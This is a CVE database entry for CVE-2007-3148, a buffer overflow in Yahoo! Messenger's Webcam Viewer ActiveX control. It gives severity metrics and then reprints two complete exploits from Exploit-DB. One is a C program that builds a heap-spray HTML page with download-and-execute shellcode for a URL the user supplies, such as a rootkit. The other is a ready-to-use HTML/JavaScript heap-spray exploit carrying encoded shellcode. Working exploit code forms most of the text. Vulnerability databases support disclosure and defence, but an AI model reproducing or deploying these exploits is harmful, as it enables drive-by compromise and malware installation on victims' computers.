CVE-2007-3148

CVE Descriptions

Buffer overflow in the Yahoo! Webcam Viewer ActiveX control in ywcvwr.dll 2.0.1.4 for Yahoo! Messenger 8.1.0.249 allows remote attackers to execute arbitrary code via a long server property value to the receive method.

CVE Informations

Related Weaknesses

CWE-ID	Weakness Name	Source
CWE-119	Improper Restriction of Operations within the Bounds of a Memory Buffer The product performs operations on a memory buffer, but it reads from or writes to a memory location outside the buffer's intended boundary. This may result in read or write operations on unexpected memory locations that could be linked to other variables, data structures, or internal program data.

Metrics

Metrics	Score	Severity	CVSS Vector	Source
V2	9.3		AV:N/AC:M/Au:N/C:C/I:C/A:C	nvd@nist.gov

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

EPSS First.org

Exploit information

Exploit Database EDB-ID : 4052

Publication date : 2007-06-07 22h00 +00:00
Author : Excepti0n
EDB Verified : Yes

/* Compile in LCC-win32 (Free!) Download and exec any file you like! Have Fun! */ #include <stdio.h> #include <string.h> #include <stdlib.h> char *file = "Click_here.html"; FILE *fp = NULL; unsigned char sc[] = "\xEB\x54\x8B\x75\x3C\x8B\x74\x35\x78\x03\xF5\x56\x8B\x76\x20\x03" "\xF5\x33\xC9\x49\x41\xAD\x33\xDB\x36\x0F\xBE\x14\x28\x38\xF2\x74" "\x08\xC1\xCB\x0D\x03\xDA\x40\xEB\xEF\x3B\xDF\x75\xE7\x5E\x8B\x5E" "\x24\x03\xDD\x66\x8B\x0C\x4B\x8B\x5E\x1C\x03\xDD\x8B\x04\x8B\x03" "\xC5\xC3\x75\x72\x6C\x6D\x6F\x6E\x2E\x64\x6C\x6C\x00\x43\x3A\x5C" "\x55\x2e\x65\x78\x65\x00\x33\xC0\x64\x03\x40\x30\x78\x0C\x8B\x40" "\x0C\x8B\x70\x1C\xAD\x8B\x40\x08\xEB\x09\x8B\x40\x34\x8D\x40\x7C" "\x8B\x40\x3C\x95\xBF\x8E\x4E\x0E\xEC\xE8\x84\xFF\xFF\xFF\x83\xEC" "\x04\x83\x2C\x24\x3C\xFF\xD0\x95\x50\xBF\x36\x1A\x2F\x70\xE8\x6F" "\xFF\xFF\xFF\x8B\x54\x24\xFC\x8D\x52\xBA\x33\xDB\x53\x53\x52\xEB" "\x24\x53\xFF\xD0\x5D\xBF\x98\xFE\x8A\x0E\xE8\x53\xFF\xFF\xFF\x83" "\xEC\x04\x83\x2C\x24\x62\xFF\xD0\xBF\x7E\xD8\xE2\x73\xE8\x40\xFF" "\xFF\xFF\x52\xFF\xD0\xE8\xD7\xFF\xFF\xFF"; char *url = NULL; unsigned char sc_2[] = "\x00\x98"; char * header = "<html>\n" "<object classid=\"clsid:9D39223E-AE8E-11D4-8FD3-00D0B7730277\" id='viewme'></object>\n" "<body>\n" "<SCRIPT language=\"javascript\">\n" "var shellcode = unescape(\"%u9090%u9090%u9090%u9090\" + \n"; char * footer = "\n\n" "bigblock = unescape(\"%u9090%u9090\");\n" "headersize = 20;\n" "slackspace = headersize+shellcode.length;\n" "while (bigblock.length<slackspace) bigblock+=bigblock;\n" "fillblock = bigblock.substring(0, slackspace);\n" "block = bigblock.substring(0, bigblock.length-slackspace);\n" "while(block.length+slackspace<0x40000) block = block+block+fillblock;\n" "memory = new Array();\n" "for (x=0; x<500; x++) memory[x] = block + shellcode;\n" "var buffer = '\\x0a';\n" "while (buffer.length < 5000) buffer+='\\x0a\\x0a\\x0a\\x0a';\n" "viewme.server = buffer;\n" "viewme.receive();\n"; char * trigger_1 = "</script>\n" "</body>\n" "</html>\n"; // print unicode shellcode void PrintPayLoad(char *lpBuff, int buffsize) { int i; for(i=0;i<buffsize;i+=2) { if((i%16)==0) { if(i!=0) { printf("\"\n\""); fprintf(fp, "%s", "\" +\n\""); } else { printf("\""); fprintf(fp, "%s", "\""); } } printf("%%u%0.4x",((unsigned short*)lpBuff)[i/2]); fprintf(fp, "%%u%0.4x",((unsigned short*)lpBuff)[i/2]); } printf("\";\n"); fprintf(fp, "%s", "\");\n"); fflush(fp); } void main(int argc, char **argv) { unsigned char buf[1024] = {0}; int sc_len = 0; int n; if (argc < 2) { printf("\r\nYahoo 0day Ywcvwr.dll ActiveX Exploit #2 Download And Exec\n"); printf("link:http://research.eeye.com/html/advisories/upcoming/20070605.html\n"); printf("link:http://www.informationweek.com/news/showArticle.jhtml?articleID=199901856 \n"); printf("link:http://secunia.com/advisories/25547/\n"); printf("greetz to Jambalaya for helping with this code\n"); printf("\r\nUsage: %s <URL> [htmlfile]\n", argv[0]); printf("\r\nE.g.: %s http://www.malwarehere.com/rootkit.exe exploit.html\r\n\n", argv[0]); printf("=-Excepti0n-=\n"); exit(1); } url = argv[1]; if( (!strstr(url, "http://") && !strstr(url, "ftp://")) || strlen(url) < 10) { printf("[-] Invalid url. Must start with 'http://','ftp://'\n"); return; } printf("[+] download url:%s\n", url); if(argc >=3) file = argv[2]; printf("[+] exploit file:%s\n", file); fp = fopen(file, "w"); if(!fp) { printf("[-] Open file error!\n"); return; } //build Exploit HTML File fprintf(fp, "%s", header); fflush(fp); memset(buf, 0, sizeof(buf)); sc_len = sizeof(sc)-1; memcpy(buf, sc, sc_len); memcpy(buf+sc_len, url, strlen(url)); sc_len += strlen(url); memcpy(buf+sc_len, sc_2, 1); sc_len += 1; PrintPayLoad((char *)buf, sc_len); fprintf(fp, "%s", footer); fflush(fp); fprintf(fp, "%s", trigger_1); fflush(fp); printf("[+] exploit write to %s success!\n", file); } // =-Excepti0n-= // milw0rm.com [2007-06-08]

Exploit Database EDB-ID : 4043

Publication date : 2007-06-06 22h00 +00:00
Author : Excepti0n
EDB Verified : Yes

This affects the viewer ywcvwr.dll with yahoo messenger latest version tested. Fixed bug in last post (x=0;xi<800;x++) should be (x=0; x<800; x++) Here is your 2nd 0day!!! link:http://www.informationweek.com/news/showArticle.jhtml?articleID=199901856 <html> <object classid='clsid:9D39223E-AE8E-11D4-8FD3-00D0B7730277' id='target'></object> <script> shellcode = unescape("%u9090%u9090%u9090%uC929%uE983%uD9DB%uD9EE%u2474" + "%u5BF4%u7381%uA913%u4A67%u83CC%uFCEB%uF4E2%u8F55" + "%uCC0C%u67A9%u89C1%uEC95%uC936%u66D1%u47A5%u7FE6" + "%u93C1%u6689%u2FA1%u2E87%uF8C1%u6622%uFDA4%uFE69" + "%u48E6%u1369%u0D4D%u6A63%u0E4B%u9342%u9871%u638D" + "%u2F3F%u3822%uCD6E%u0142%uC0C1%uECE2%uD015%u8CA8" + "%uD0C1%u6622%u45A1%u43F5%u0F4E%uA798%u472E%u57E9" + "%u0CCF%u68D1%u8CC1%uECA5%uD03A%uEC04%uC422%u6C40" + "%uCC4A%uECA9%uF80A%u1BAC%uCC4A%uECA9%uF022%u56F6" + "%uACBC%u8CFF%uA447%uBFD7%uBFA8%uFFC1%u46B4%u30A7" + "%u2BB5%u8941%u33B5%u0456%uA02B%u49CA%uB42F%u67CC" + "%uCC4A%uD0FF"); bigblock = unescape("%u9090%u9090"); headersize = 20; slackspace = headersize+shellcode.length while (bigblock.length<slackspace) bigblock+=bigblock; fillblock = bigblock.substring(0, slackspace); block = bigblock.substring(0, bigblock.length-slackspace); while(block.length+slackspace<0x40000) block = block+block+fillblock; memory = new Array(); for (x=0; x<800; x++) memory[x] = block + shellcode; var buffer = '\x0a'; while (buffer.length < 5000) buffer+='\x0a\x0a\x0a\x0a'; target.server = buffer; target.receive(); </script> </html> # milw0rm.com [2007-06-07]